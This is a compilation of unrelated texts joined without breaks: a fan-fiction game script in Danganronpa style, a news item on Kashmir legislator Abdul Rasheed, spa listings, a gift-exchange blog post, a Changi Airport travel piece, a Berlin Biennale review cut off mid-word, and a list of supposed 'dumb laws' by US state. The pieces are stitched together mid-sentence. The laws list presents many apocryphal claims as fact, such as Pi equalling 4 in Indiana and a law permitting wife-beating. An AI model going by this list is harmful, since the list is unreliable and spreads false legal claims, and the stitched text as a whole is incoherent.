Yuno: And why would he want that? Doesn't he want all of us to suffer in despair?
Yami: That might be his agenda. To increase our spirits only for it to be broken down by his next move.
Aigis: But wouldn't that mean we shouldn't do what he said? It's only going to lead us to be hurt even more and hurt is something we should lessen at all cost.
Is she saying that base on her analysis or on her feelings?
Kogami: I still think progress is much better then being stagnant and waiting for things to happen so if it is then trap then let it be.
Aigis: I see... very well I will proceed to your course of action.
Kogami: Yuno now that you know the cards dealt with us, are you going to continue staying inside your room while thinking about your precious Yuiki and not doing anything.
Yuno:...
Yami: It's not like you have a choice in this matter Yuno. Either move forward or give up, what's your decision.
Yuno: If that's really how it is... I will cooperate. Just make sure the rooms are avaliable so I can investigate them myself.
Kogami: They might be ready tomorrow so rest up today and get yourself ready with whatever we might find up there.
Why did I say up there?
Aigis: Kogami you said up there, how do you know the new rooms will be in the upper areas?
Kogami: I have a feeling and it would make sense with the stairs we couldn't access before. Yami we'll let you tell Light what happened here, don't want to deal with him for a single second anymore.
Yami: OK, it's the least I can do for assisting me in this. I should make sure I'll be able to execute my orders properly next time.
Kogami: You can be a bit more lofty around me so don't be so formal. It wouldn't do well when we work together soon.
Yami: And why would I work with you after this?
Kogami: You'll see I have good intuition.
Aigis: Will you explain why you were sent to take care of me Kogami?
Kogami: That is something Light is better at explaining then me so ask me when you have the time. Right now I got another person to see.
Yami: It must be Shinji. Don't keep your duties waiting, just go already.
I think it would be better to let Shinji face his inner demons by himself. Guess I have to find somebody else to talk to.
Kogami: Yuno just don't get carried away with tomorrows events.
[Move to Storage Room]
...
The place where the case of the last Class Trial started. I needed to visit this to understand...
Nagisa: Kogami, what are you doing here? Is your eye OK, I saw you rubbing it.
Shingetsu Nagisa, the person I needed to talk to.
[Talk to Nagisa]
Kogami: Ignore that, the emotional impact I have here is getting to me, but there are more pressing matters to talk about.
Nagisa: About the others who are still in emotional pain. Kogami are you done with handling Shinji and Aigis?
Kogami: I did more than that. I handled Shinji, Aigis, and Yuno, the person who everyone can't handle, with the assistance of two lovely ladies.
Nagisa: I would say I'm jealous if the circumstances aren't as dire. By the way, if your asking where Death is, the guy is busy in his own room. Who would have thought that tipping his desk would keep him in his room all day?
Kogami: Let's just pray he's done by tomorrow otherwise we'll be waiting for him to come out of his room.
If I was going to get Death I would use that information to my advantage, but I'm not going to play Monokuma's game.
Kogami: If you want details with the three here is the evaluation you asked Mr. Nagisa: Aigis is fine since she was ready to cooperate as long as it helps the group out. Shinji is having some confidence issues because of his daddy so let's the kid fight his cognitive dad. Yuno isn't really trying to help us, but convincing her that the new areas might give new information got her moving again.
Nagisa: You told Yuno why we were doing this? It's not going to assure her that we do care about her.
Kogami: But with someone like Yuno... you need to put yourself in their line of thinking. If you just think of yourself you playing a puzzle with the wrong set of rules.
Nagisa: I see you take problems as different puzzles that have different solutions even if they are similar. Maybe you have a better grasp at things than most people, but probably not to the point of Light.
There is that name again, Light really is the most admired person here. I'm jealous yet fearful about what he can with that influence.
Kogami: Everyone is different Nagisa so you don't know how they really are like from the inside. You better teach that to your students in the future.
Nagisa: I'll keep that in mind. I'm surprise that your just the Ultimate Puzzle Master, you should also be called the Ultimate Therapist.
I am that good at reading people, but I shouldn't brag unless it's in my head where nobody can read my mind.
Kogami:... It comes from experience Nagisa if you live long enough to go through the daily grind and start living in a world full of the unexpected you might end up with the same line of thinking I have.
Nagisa: It sounds like your an old timer, but you can't be that older than us.
Kogami: I've live more in life then most so it's not surprising. Nagisa I hope you can keep this conversation between us only, I don't want this to spread around especially to Yuno.
Nagisa: Yuno? Why Yuno?
Kogami: She scares me. If you seen what stalkers can do at the most desperate times, you would think you're living in Hell.
Nagisa: I... Is she really that scary? Should I do something about it?.... No, I shouldn't think in that line of thinking.
What is Nagisa thinking?
Kogami: I'll leave you to talk to yourself, right now I have to make dinner. With only half of us available, I decided to take the helm all by myself.
Nagisa: Oh...okay.
If Nagisa is planning to do what I think he's doing I rather stay out of it, getting involve in things can hurt you.
[Move to Cafeteria]
What am I going to cook today? Considering the situation something tasty is a higher priority than something healthy.
Kogami: I would prefer using the term delicious, but to each to their type of words like a crossword.
Makise: I see you're talking to yourself again. Guess I have to get used to it even if it annoys me.
Kogami: Thanks! You know there's plenty of things about you that also annoys me!
Makise:... Remind me not say any more than necessary. Otherwise, I'll have to deal with your silver tongue.
Kogami: I rather call it a golden tongue, but my words aren't pure hearted... silver tongue might actually be a better phrase to describe me.
Makise: For once I was able to one up you in our conversation, how do you like that!?
Don't really mind since it shows Makise is very open about her thoughts and comments. Criticism is a weapon that can be really useful.
[Talk to Makise]
Kogami: So how did things go with Koneko?
Makise: I'm not a psychologist so what I say can be wrong, but base on what I have seen it seems that she's unnerve about the possibility she's not in her world anymore.
Kogami: It's normal considering the existence of other worlds really makes this entire situation more complicated then we first thought.
Makise: But it's clear that it's pushing her to her limit. She tries to hide it, but it's clear she's really disturbed about this. I wonder if this is a symptom of depression?
Kogami: It wouldn't be depression Makise, but despair. Monokuma main goal is spreading despair unto everyone and seeing how Koneko is, it's clear he's succeeding.
Makise: But I don't understand his motive! Why would he want to make everyone suffer!?
Kogami: Because he's a complete monster! He's not like a regular person, he doesn't have soul or even a morale code. If he wants to make the world burn, he will incinerate it.
Makise: Didn't you just say burn? Why did you change it to burn?
Kogami: Because he's the type who'll go further then necessary... torture isn't enough to describe what it does, I would call it pure madness.
Makise: You're not joking about this, that expression of yours is the same one you made when we found Sousuke's body.
Yeah, I know should take this entire thing seriously, but there's few things that can drive to the point I can't find anything humorous to calm myself.
Makise: I'm just hoping that he won't reach Koneko, because if he does I don't know what I can do anymore. I want to help her through this, but if Monokuma is that bad... I don't what I can do.
Kogami: If you're strong enough then you will, but if Monokuma does succeed it doesn't mean you were weak, it means Koneko was beyond saving.
Koneko: What did you just say!?
Huh!? When did Koneko get-
Koneko: Did you say I was beyond saving!? Is that how you really think of me!?
Makise: Koneo just calm down-
Kogami: Koneko... I'm sorry I said this...
Koneko: Y-You... I don't need your pity! I'm not pitiful!!! [Leave]
Makise: Koneko! Kogami just stay away from her for now, I'll try to talk to her. If she can talk you have to apologize immediately for what you said.
Kogami: I didn't mean...
Makise: I know, but... sometimes the smallest comments can really sting. Just finish making dinner and then rest, we don't want to worry the others about this. [Leave]
Am I that terrible of a person!? Did I just help Monokuma drive Koneko down further!? What have I done!?
[Move to Cafeteria]
Nagisa: Kogami, are you alright? Ever since you started eating you had that look in your face.
Akagi: Are you stress from taking care of two people? If you want I'll take ov-
Kogami: You don't need, Aigis is already ready to move forward and Shinji just needs some time to think for himself.
Light: Maybe it's the the extra burden with Yuno, if that's the case we'll have Death help even if he's a bit of a loose canon.
Death: When did I become a loose cannon!?
Kogami: It's alright... I just want to end the day. It wasn't a really good one for me.
Yami: I don't think it was for anyone. Some days are like this Kogami, just don't let it hold you back.
Right... never give up even at the hardest points... even when you feel like a monster for kicking someone further.
Kogami: I'll be taking the night off... you guys collect the plates from the people eating at their room and clean them afterwards.
Death: Don't worry, not a single stain will remain! I will make sure no matter what!
Yeah, do that and make me feel worse.
[Move to Dorm Hallway]
Takeo: Kogami, can we talk tomorow?
Takeo Gouda, what does he want? And when did he get better from his emotional state?
Kogami: Can you tell me what it is that you want to talk about?
Takeo: It's about Koneko, I saw her crying and she said your name. Did you-
Kogami: I'll explain tomorrow, I just need to rest up from my ordeal.
Takeo: I see... alright good night.
[Move to Dorm Room]
What I did was awful, but it's not going to place me into despair. Letting that happen means Monokuma has won and that is the last thing we can let happen. Victory won't be given to that awful bear!
Kogami: But who's to say Monokuma's motive is despair? What if it something more complex then what's shown?
I... I wonder if that is a possibility?
...
It's... time... to sleep...Independent legislator of Jammu and Kashmir Assembly Engineer Abdul Rasheed today said Jammu and Kashmir was not integral part of India.
"Even if I am hanged I will still say Jammu and Kashmir is neither India's integral part nor Pakistan's jugular vein", Rasheed said in the House.
When BJP member Ravinder Raina interrupted him saying he should know he has taken oath to protect sovereignty of Indian territory, Rasheed replied that, "even if I am hanged won't say Jammu and Kashmir is integral part of India."
Rasheed talked about Kashmir issue after he was stopped by the deputy speaker Nazir Gurazi to speak about power issue.
DEMANDS RIGHT TO SELF-DETERMINATION
"Even if you send me to jail, debar me from contesting elections or hang me, it will not force me to change my stand on Kashmir. We have sacrificed about one lakh lives and can't compromise on right to self-determination", he said.
"I am not against India's sovereignty and I am talking simply about Jammu and Kashmir which has become a bone of contention between India and Pakistan and Assembly has no authority to overrule UN Resolutions", he said.
SLAMS ARMY OVER HANDWARA KILLINGS
Over the years, Rasheed has been on forefront in taking up issues of alleged human rights violations. After the firing by the army in Handwara on April 12, Rasheed launched scathing attack on the army and supported anti-army and anti-India protests in Handwara. Even today he was demanding tabling of report about Handwara killings.
Rasheed, who is MLA from Langate Handwara, has launched his own party, Awami Itihad Party (AIP).
CONDEMNS HANGING OF AFZAL GURU
Rasheed insists that he has always described hanging of the Parliament attack convict Muhammad Afzal Guru as travesty of justice.
In February last year, Rasheed had said, Congress endorsed his stand on Guru when five legislators of State Congress to secure his vote in Rajya Sabha elections issued a statement on Afzal Guru. The Congress legislators issued a press statement saying that the hanging of Guru was a mistake and his mortal remains should be handed over his family. After the statement the independent legislator voted in favour of Congress leader Ghulam Nabi Azad.
The Congress legislators made the statement on Afzal Guru on Azad's behest as Rasheed wanted statement before voting of four Rajya Sabha seats. Azad won the Rajya Sabha seat later. Rashid had elicited similar statement from the PDP before voting for the party in the council elections. Rashid also condemned arrest of SAR Geelani. In 2011, Rashid brought clemency resolution for Guru in the Assembly. But, the resolution didn't come up for debate as the Congress and BJP scuttled it.
In July last year Jammu and Kashmir police detained Rasheed when he was protesting against hanging of Yakub Memon. Last year Rasheed also was first to submit a bill which called for repeal of laws that criminalizes beef sale in the state. In August 2015 Rasheed created controversy by visiting house of a militant commander Tariq Ahmad Mir, who has drowned in a rivulet while fleeing after attacking a police party.
ALSO READ: 'I have a bomb' message on Kashmiri girl's bag creates panic at Delhi airportAlternative Healing Alternative Healing Top 5 Picks For Spas And Resorts
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This flagship wellness retreat in central Bali has become a blueprint for a whole raft of Como properties. It would be hard to beat this original setting among the rice paddies outside Ubud, where an osteopath, chiropractor, physio, psychologist, nutritionist and Ayurvedic doctor are all on hand to sort out your chakras.
Energy healers, life coaches and “influential thinkers” visit some weekends, but at all times there’s yoga, pilates, meditation, aquatherapy, mountain biking and hiking, plus sublime spa treatments and outstanding cuisine.
http://www.fitwoman.com/
The Green Mountain at Fox Run’ in Vermont is a welcoming place, where struggles with body image, food issues, eating problems and self awareness are truly understood.
Here you will be with other like-minded women discovering how to transform your thinking, stop overeating, move confidently and begin your journey to a healthy weight.
You can enjoy achieving weight loss and gain confidence by eating wellness nutritional lean spa meal menus. Most importantly classes are conducted to teach you how to prepare those smart meals and lastly how to make it happen when returning home. Classes about maintaining an alternative healing, healthy, lifestyle are often offered as well.
You will begin to feel better almost immediately in ways you never thought possible You will learn nutritional wellness and pampering weight management. This is an opportunity to focus, reflect and begin to make healthy personal fundamental changes for the rest of your life.
http://www.claremontresort.com/
At the Claremont Resort and Spa discover a Tibetan Bowl massage, the ultimate stress release wellness experience.
Tibetan bowls are placed on the body’s main energy centers, also known as Chakras. After an initial regular massage the bowls are played. The vibration of the singing bowls has a healing effect on the body’s tissues and the fluctuating sound of the bowls helps to harmonize the left and right side of the brain. The vibration and sound enables us to achieve a deep dreamless sleep type of state (a delta active mind state) and greatly reduces stress. It sounds goofy but the technique is based on scientific research.
Ranking at the top for deep relaxation and stress reduction, many find A Tibetan Sound Massage to be a powerful alternative healing therapy.I was having a pretty rough time recently so when a package arrived for me I had no idea what it was as I've lost track of all the exchanges and rematches I'm in. My pens and stationary rematch Santa, quite simply, owned it. This is such a good package to receive and gave me such a boost.
A dart board pin board with dart pins! Made by my Santa for me! Unreal! That's just so awesome, I've never seen anything like it, this will be taking pride of place in my studio. I may try and convince people I'm going to actually start playing matches with the dart pins too.
I'm a big fan of mini note books, and these little matchbook style pads are no exception and a welcome addition. I've yet to have a go with the fragranced pens yet (mmm....pizza....mmm....root beer) but I've already been using the green and orange pens (which is why the orange pen isn't pictured.
A roll of masking tape is something I'm always needing as I always run out and I love the fact that its patterned, I've never found any like this before.
And (yes, there's more) the postcard from Seattle to round it all off. I love getting postcards and letters in these exchanges. Such a small thing makes such a difference.
You're such a winner rematch Santa, thank you HEAPS!For most travellers, the prospect of having to spend any length of time at an airport, especially a crowded international hub, is a miserable one. But, Singapore has created a bright, enjoyable, welcoming way station on an otherwise bleak tarmac of inefficient and numbingly boring airports. Even the name is fun to say: Changi!
The many charms of Singapore's Changi Airport do not hit you at once. There are three seemingly standard terminals, with no grand architectural infrastructure or trendy art installations. But then you start to notice, with a raised eyebrow, the little things. Is that a koi pond? Is that a free foot massage chair? Is this pod of computers available to anyone who wants to get online? The answer to every question is "yes". All three terminals have free wi-fi and multi-device charging kiosks (under lock and key so you can leave them unattended). Every plant is real, tended by an in-house horticulture team. The food is fresh, bars have live music and the children's areas have playgrounds, cartoons and woodblock colouring stations.
Should you have trouble locating any of these amenities, youth and senior ambassadors roam the terminals to help with anything from gate information to shopping suggestions. Directional signs tell you how many minutes it will take you to walk there. Even the bathrooms ask for instant electronic feedback so airport personnel can quickly respond to any toilet paper outage or complaint of dirtiness. And those are just the basics. The more you explore, the bigger the surprises.
Get started
Grab a map at one of the many information kiosks and make a scavenger hunt out of it. One of the airport's published guides even has a handy chart with suggestions on what to enjoy depending on how much time you have. Only 20 minutes? Take a refreshing shower. Have two hours? Hop on one of the two free (you see that word a lot in the airport) bus tours around the city.
The majority of the amenities are in the secure areas of the terminals, and since they are connected by monorail, you can still enjoy the fun in all three, And the security threshold itself is merely an immigration check (with Singaporeans having an automated option that removes them from the main queue-not that there was ever a queue for anything at the airport, in my visits). The ordeal of baggage and body scanning, every airport's worst clock-gobbler, happens quickly and efficiently at the boarding gate with just your plane's passengers, eliminating the bottleneck of many people catching flights at various times, slowing everyone down collectively.
Terminal 3
The first thing I wanted to try out was Changi's newest attraction - a four-story slide in the public area of T3. For a S$10 token, which comes free when you spend that amount in the airport (about the price of a sandwich and drink), you get a twisty 30-second thrill ride. Next to it is a free one-and-a-half story slide.
After clearing immigration, I walked past a meditation room and through a two-story butterfly garden, an open-air enclosure filled with tropical vegetation, a waterfall (I learned that butterflies actually need flowing water) and a glass pupa podium with caterpillars displayed in mid-metamorphosis. Each terminal offers an outdoor space such as this. T2 grows a sunflower garden and T1 has an al fresco bar surrounded by cacti. Just outside the topfloor entrance of the butterfly habitat is a free moviehouse-sized theatre, playing recent Hollywood blockbusters.
Terminal 2
Just a short monorail ride away T2 is a bit more sedate than its newer sibling, but in a good way. There are multiple gardens filled with ferns, orchids and sunflowers, and illuminated fake rocks make a nighttime visit to the outdoor sunflower garden nearly as lovely as a daytime one. Near a long strip of bamboo is a quiet rest area with reclined chairs, ideal for napping. (I cannot recall ever being in an airport where sleeping in public spaces was encouraged.) Next to another, smaller, movie theatre are free computer game terminals and Playstation 3 and Xbox 360 stations, which may be someone else's idea of relaxing.
Each terminal has a Transit Hotel (http://harilelahospitality.com/), where you pay as little as S$35 for six hours in a decent-sized room with a TV. There are also pay-per-use gyms (with gym clothes provided) and transit lounges. These lounges, where you pay S$30 for five hours of buffet, drinks, office services, showers and other amenities typically reserved for airline business class lounges, is, like so much of Changi, the future of airport hospitality. You can also get (for additional fees) a massage, pedicure, haircut and time in a nap room.
Terminal 1
Inside T1 I found an impressive diversity of dining and shopping options catering to international palettes and wallets of varying sizes. The restaurants and shops (everything from 7-Eleven to Cartier) are the financial engine of Changi and even locals are lured by a tax exemption extended into the public areas and a price guarantee that doubles the refunded difference of any lower price found in downtown Singapore, part of an effort to combat airport price gouging.
It was in Terminal 1 where I decided to avail myself of a pedicure. Not a typical one, of course, but one serviced by a wading pool of flesh-eating fish. At the Fish Spa & Reflexology, in the Transfer D corner of T1, you can remove the dead skin of your travel-weary feet by immersing them in a series of pools filled with hungry fish of increasing sizes. I started with the largest size.
Though others seemed to be enjoying this novel form of public grooming, seconds after I dipped my bare feet and felt the collective suction of the swarm, I yanked them back out. The woman running the spa had seen this behaviour before. "Don't be afraid," she said. "In Turkey they have this massage, and they go in up to their necks! Try the smaller fish." Plunging my feet into another pool, small black fish with the taste for human, obscured my feet. If I had just closed my eyes, it would have felt like a million tiny fingers were massaging me. But I did not close my eyes. "Don't look at them! Don't look at them!" another employee admonished. I could feel a girlish scream rising in my lungs and saved myself that indignity by swinging my legs out - a single, committed critter still hanging from my big toe. Towelling off in defeat, I watched two other customers quietly enjoying their fish pedicures. "I find it quite relaxing," one of them said to me. To each his own at Changi.
I went in search of my own blissful moment and decided to end my visit in what is perhaps Changi's most unexpected amenity: an outdoor pool. For a mere S$13.91, I was given a towel, non-alcoholic drink at the pool's otherwise alcoholic bar, and access to a large pool and deck. It was not the best of facilities - my locker door was busted, the shallow pool was excessively chlorinated and there was nothing hot about the hot tub - but floating in a rooftop pool before getting on my flight capped off what was the most fun I have ever had in an airport and led to a deep, relaxed sleep on the plane. Next time I am in Changi, in addition to my bathing suit, I will add a pair of goggles to my carry-on.BERLIN — The eighth Berlin Biennale opened last week and runs until August 3. Reactions so far have been mixed, but one thing is certain: We Berliners have never before hosted such a “global” biennial. A quick scan of the artist list show that Colombian-Canadian curator Juan A. Gaitán and his curatorial team went from Global North to Global South and even Down Under: On view in the event’s three venues are works by artists from Argentina, Australia, Brazil, Canada, Cyprus, Colombia, China, Egypt, “Eurasia,” France, French Guiana, Greece, Guadaloupe, India, Iran, Lebanon, Mexico, New Zealand, Nigeria, Pakistan, South Africa, and the US — alongside a few Europeans, among them just less than a handful of Germans.
Gaitán planned to at last pull this Berlin Biennale out of its longstanding east-west narrative; another part of BB8’s original mission was to examine parts of German history — the country’s colonial past — often glossed over in favor of the Third Reich, postwar occupation, or of course post-Wall Berlin (the first Berlin Biennale in 1998 was, after all, titled Berlin/Berlin). To this end, Gaitán secured geographically unusual venues: the Museen Dahlem, a trio of ethnographic museums in the city’s posh western district of Dahlem, as well as the Haus am Waldsee, an intimate villa not far away, to augment the biennial’s traditional anchor in Berlin-Mitte, the Kunst-Wer |
Arizona.
Arkansas
Voters are allowed only five minutes to mark their ballots by law in the state of Arkansas.
It is against the law to keep an alligator in a bathtub.
It is against the law to mispronounce ‘Arkansas’ in the state of Arkansas. For the record, it’s pronounced “Ark-an-saw”.
Killing “any living creature” is prohibited by law in Fayetteville, Arkansas. That mosquito biting your arm? Better not swat it lest you break the law.
You may get up to 30 days in prison should you flirt with a member of the opposite sex on the streets of Little Rock.
It is against the law to walk a cow down Main Street in Little Rock after 1:00 pm on Sundays.
Another good one from Little Rock: sounding the horn on a vehicle where cold drinks or sandwiches are served after 9:00pm is prohibited by law.
Like in Arizona, oral sex is considered sodomy in the state of Arkansas.
California
It is against the law to use used underwear to wash a car at a car wash in San Francisco.
Peacocks have the right of way in Arcadia, California while ducks have the right of way in Temecula.
The wearing of cowboy boots is prohibited in Blythe, California unless you own at least two cows.
Detonating a nuclear device in Chico, California is punishable by a fine of up to $500.
Trying to stop children from playfully jumping over puddles of water is prohibited by law in the state of California.
Washing your car in the street is prohibited by law in Downey, California.
Giving or receiving oral sex is against the law in the state of California. Prudes.
Driving more than 2,000 sheep at a time down Hollywood Blvd. is prohibited by law. I have to assume this one has been on the books for a while.
It is against the law to cry on the witness stand during a trial in Los Angeles. I’m sure that’s a law that’s never been broken.
It is against the law to whistle for a bird that has escaped before 7:00 am in Berkeley, California. That seems like a law that was put into place over a very specific incident.
Having caller ID is prohibited by law in the state of California.
State offices are required by law to ensure all phones are answered before the ninth ring.
It is considered forgery to sell a gold piece in California if it does not have tooth marks in it and doing so is therefore against the law.
A man may beat his wife with a leather strap or belt but it must be no more than 2 inches as long as his wife gives consent before the beating takes place. A man can use a wider strap if the wife is okay with that.
It is against the law to use one tub to bathe two babies in Los Angeles, California.
It is against the law to beat a rug outside of your home in San Francisco, California.
Shooting at game from a moving vehicle is considered a misdemeanor unless you are shooting at a whale which just makes very little sense to me at all.
A secretary is prohibited by law from being alone in an office with his or her boss.
Eating an orange in your bathtub is prohibited by law. We’ve all heard that one but it never gets any less amusing.
Piling horse manure on a sidewalk in California is apparently okay unless that pile is higher than 6 feet.
Owning or raising roosters is considered disturbing the peace in Lompoc, California and is therefore against the law.
It is illegal to use foul language on mini-golf courses in Long Beach, California.
Hunting moths under streetlamps is strictly forbidden by law in Los Angeles, California which begs the following question: who was doing this and the first place?
Licking toads is prohibited by law in Los Angeles, California. I believe Family Guy did an episode about why this one’s a good idea.
Zoot suits (look them up) are against the law in Los Angeles, California.
I’m not sure what this one means but bothering a butterfly in Pacific Grove, California can net you a fine of up to $500.
Vehicles without drivers must stay below 60 MPH.
Walking a camel down Palm Canyon Drive in Palm Springs, California is prohibited between the hours of 4:00 and 6:00 pm.
This is a law I can get behind. Having Christmas lights on your home later than February 2nd can be punished by a fine of up to $250 in San Diego, California.
You are legally entitled to walk your elephant down the road in San Francisco as long as you have it on a leash.
It is against the law to own more than two cats or dogs in San Jose, California.
The playing of percussion instruments in banned by law from the beaches in Santa Monica, California.
Women are not legally allowed to drive while wearing house coats in the state of California.
And finally, my favorite dumb law from California: before setting a mouse trap, citizens must first obtain a hunting license.
Colorado
Car dealerships are prohibited from showing cars on Sundays.
It is against the law to bring a pack mule or horse above the ground floor of any building in Crippe Creek, Colorado.
It is against the law to let a neighbor borrow a vacuum cleaner in Denver, Colorado.
The mistreatment of rats is prohibited by law in Denver, Colorado.
Barbers are legally entitled to give nude customers massages but only if the massage is given for instructional purposes.
Pueblo, Colorado prohibits raising or allowing dandelions to grow on lawns within city limits.
Women wearing red dresses are prohibited from the streets of Colorado after 7:00 pm.
Men may not legally kiss women who are asleep in Logan County, Colorado.
Possibly my favorite dumb law of all time: Sterling, Colorado forbids allowing a cat to run loose unless it has been properly fitted with a taillight. Ha!
Connecticut
Playing Scrabble while waiting for a politician to speak is prohibited in Atwoodville, Connecticut thanks to a local ordinance.
Eating in your car is prohibited by law in Bloomfield, Connecticut.
It is against the law to walk backwards after sunset in Devon, Connecticut.
Homeowners and business owners are only legally entitled to display white Christmas lights in Guilford, Connecticut.
Hartford, Connecticut forbids walking on your hands while crossing the street.
Dogs with tattoos must be reported to the police.
Performing a pirouette while crossing the street is prohibited by law.
Campaigning at dumps is illegal for politicians in the state of Connecticut.
Discharging a firearm from a public roadway is prohibited which just sort of makes sense.
Disposing of used razor blades is against the law which makes one wonder what people are supposed to do with them.
Even when a firetruck is traveling to a fire it is not allowed to legally travel over 25 MPH in New Britain, Connecticut.
Only visually impaired people may use white canes by law.
It is against the law for two ‘imbeciles’ or ‘feeble-minded persons’ to marry.
Beauticians are prohibited from singing, humming or whistling while working on clients.
It is against the law in the state of Connecticut to educate dogs.
Pickles are not legally considered pickles unless they bounce.
Delaware
Getting married on a dare is against the law in Delaware and is considered grounds for annulment.
Wearing pants considered “form fitting” around the waist is against the law in Lewes, Delaware.
It is legal to sell dead people in the state of Delaware but only if you have the proper license.
Florida
It is against the law to sing while wearing a bathing suit in Sarasota, Florida.
Single (as in unwed) women are not legally entitled to parachute on Sundays. Breaking this law could result in a fine or even jail time.
Hanging clothes on a clothesline outside of your home is against the law in Cape Coral, Florida.
It is illegal to be under the influence of narcotics while also intoxicated in Daytona Beach, Florida.
Sex with porcupines (freaking ouch!) is illegal in the state of Florida. Weirder than the law? Anyone who actually wants to have sex with a porcupine.
Citizens must pay the same parking fee they would pay for a vehicle if they tie an elephant to a parking meter.
Citizens are legally required to inform their neighbor if the neighbor’s house is on fire. Do people really need a law to tell them to do this?
Fishing while driving across a bridge is illegal – and probably pretty difficult.
It is against the law to imitate animals in Miami, Florida.
Chickens are protected species in Key West, Florida and are therefore protected under the law.
Oral sex is illegal in the state of Florida.
The only legal sexual position in Florida is the missionary position.
Falling asleep under a hair dryer in a salon can earn a woman a fine. The beauty salon can also be fined if a woman falls asleep under a hair dryer in their establishment.
It is against the law to break more than three dishes a day. It is also against the law to chip more than four cups or saucers.
Georgia
All citizens in Acworth, Georgia are required by law to own a rake.
Every homeowner in Kennesaw, Georgia (unless the homeowner is disabled, is considered a conscientious objector or is a convicted felon) is required by law to own a gun.
It is against the law in the state of Georgia to tie a giraffe to a telephone pole or a street lamp. I can’t imagine this law is often applied.
It is against the law to keep a donkey in a bathtub.
According to the law, citizens of Gainesville, Georgia must eat chicken with their hands.
Theaters may show films on Sundays in that state of Georgia but in order to legally do so, one Sunday each month must be devoted to religious material.
It is against the law to curse or swear in the presence of a corpse. You don’t want to offend the dead, after all.
How did the chicken cross the road in Quitman, Georgia? It didn’t as it is against the law for chickens to cross the road in the Georgia city.
When changing the clothes of a storefront mannequin, the shades on the windows must be down according to Georgia state law.
In Jonesboro, Georgia, the phrase “Oh, boy!” is prohibited by law. This one has apparently been repealed, however.
Spitting from a car or bus is illegal in Marietta, Georgia. Spitting from a truck? Perfectly acceptable in the eyes of the law.
Simple battery is your right as long as you are provoked by “fighting words” in the state of Georgia.
Hawaii
All citizens of Hawaii are required by law to own a boat. Residents who do not own boats may be fined.
It is against the law to place a coin in one’s ear in Hawaii.
Want a tattoo behind your ear or on your eyelid? Make sure you have a registered physician there or you will be breaking the law.
Shooting galleries are allowed to offer prizes as long as those prizes do not contain alcohol. This one just kind of makes sense.
Idaho
Fishing from the back of a giraffe is against the law in Boise, Idaho. Fishing from the back of a camel is against the law state wide.
Persons over the age of 88 are not legally entitled to ride motorcycles in Idaho Falls, Idaho.
In the state of Idaho, it is against the law for a man to give his wife of girlfriend a box of candy if that box of candy weights less than 50 lbs. Sweet!
Walking down the street with a cane with a red tip is against the law.
Although not often enforced, unmarried couples in Idaho may be jailed for up to six months.
It is against the law to ride a merry-go-round on Sundays in Idaho for some reason.
Illinois
Dwarf tossing is prohibited by law in bars in Springfield, Illinois. Big fan of the sport? You can legally do it elsewhere in town if you obtain the proper permit.
The officially recognized language in the state of Illinois is “American”. Speaking “English” is against the law. I’m not sure what the difference is.
This one is just flat out disturbing. In Champaign, Illinois there is a law on the books that expressly forbids “peeing in your neighbors mouth”. Really? This was happening enough that a law was needed?
Giving a dog whiskey is against the law in Chicago, Illinois.
Flying kites within city limits is against the law in Chicago, Illinois.
Spitting is against the law in Chicago, Illinois.
It is illegal to hum on a public street on Sundays in Cicero, Illinois.
Attempting to have sex with your dog (???) is against the law in Crete, Illinois.
Chaining a wheelbarrow baring a “For Sale” sign to a tree is against the law in Des Plaines, Illinois.
Men with mustaches are not legally entitled to kiss women in Eureka, Illinois.
Evanston, Illinois has outlawed bowling, trick-or-treating on Halloween and changing clothes in a vehicle with the shades drawn unless there is a fire.
Beating a rat with a baseball bat in Galesburg, Illinois can earn you a $1,ooo fine as well it should.
Police officers and other officers of the law are legally entitled to use a slingshot. The use of a slingshot by any other citizen is prohibited.
It is against the law in the state of Illinois for barbers to apply shaving cream to a customer’s face using their fingers.
It is against the law to give a domesticated pet (dogs, cats etc) a lit cigar.
Women greater than 200 lbs are prohibited by law from riding horses.
It is against the law in the state of Illinois to take a french poodle to the opera.
Fishing while wearing pajamas is against the law.
According to Chicago state law, anyone who is physically diseased, maimed, disfigured or is “otherwise an unsightly or disgusting object” is not allowed out in public.
In Chicago, Illinois bars are not legally entitled to serve alcohol to anyone considered feeble minded. “I’m afraid you’ll need to pass this IQ test before I can serve you, sir. I think you may be feeble minded and I don’t want to break the law.”
In Joliet, Illinois it is against the law to mispronounce the name of the town. Such a crime is classed as a misdemeanor and can net the criminal a $5 fine. For the record, it’s pronounced “Joe-lee-ette” not “Jolly-ette”.
It is against the law for bees to fly over the village of Kirkland, Illinois or even fly through the streets. I can’t imagine the conviction rate is terribly high on this one considering how difficult it would be to arrest the perpetrator without being stung.
Ice skating on the Riverside pond is against the law between the months of June and August in Moline, Illinois.
In Normal, Illinois making faces at dogs is prohibited by law.
Indiana
Oh to live in Indiana where “spiteful gossip” is against the law, as it talking behind a person’s back.
If a man is over the age of 18 he must always ensure any passenger in his car under the age of 17 is wearing socks and shoes or he could be charged with statutory rape.
Altering the color of a bird or rabbit (dying it, staining it etc) may be charged with a Class B misdemeanor.
Thanks to the “Act for the Prevention of Gaming” (also known as the “Let’s Kill Fun Act”, I assume), a person found to be playing cards can be fined up to $3 per pack or cards being played with.
In the state of Indiana, it is against the law for anyone over the age of 14 to damn, swear by the name of God, Jesus or the Holy Ghost or to use other profanity. Using offensive language can result in a fine of $3 per offense although the maximum one person can be charged in a single day is $10.
Bathing is against the law in winter months in Indiana. This is clearly not a law that is still enforced.
Beech Grove, Indiana strictly prohibits eating watermelon in the park so make sure you pack something else in your picnic basket.
Heading out to the theater or cinema or taking a street car is against the law if you’ve consumed garlic less than four hours previously.
By law, all hotel sheets must be exactly 99 inches long and 81 inches wide.
Barbers are not legally entitled to threaten to cut off the ears of children in Elkhart, Indiana.
It is illegal to give a monkey cigarettes or for monkeys to smoke cigarettes in South Bend, Indiana. The second may seem unenforceable but think again. The town of South Bend has in fact prosecuted a monkey for smoking a cigarette. The trial took place back in 1924. The monkey was found guilty, fined $0.25 and ordered to pay court costs which is just freaking ridiculous.
A man who becomes sexually aroused in public may be charged as this is illegal in the state of Indiana.
Selling cars on Sundays is against the law in Indiana.
Catching a fish with your bare hands is not only impressive but also illegal in the state of Indiana.
I’m not sure how this is possible but in the state of Indiana, the value of Pi is 4 instead of 3.1415.
It is against the law to order a drink at the bar and carry it to your table. This is the responsibility of the waiter or waitress. If your drink needs to be poured from a bottle into a glass, however, you must do this yourself.
If you have a dependent that needs medical care, you do not have to pay for that medical care if you have prayed for that dependent.
Iowa
Mustached men are not legally entitled to kiss a woman in public.
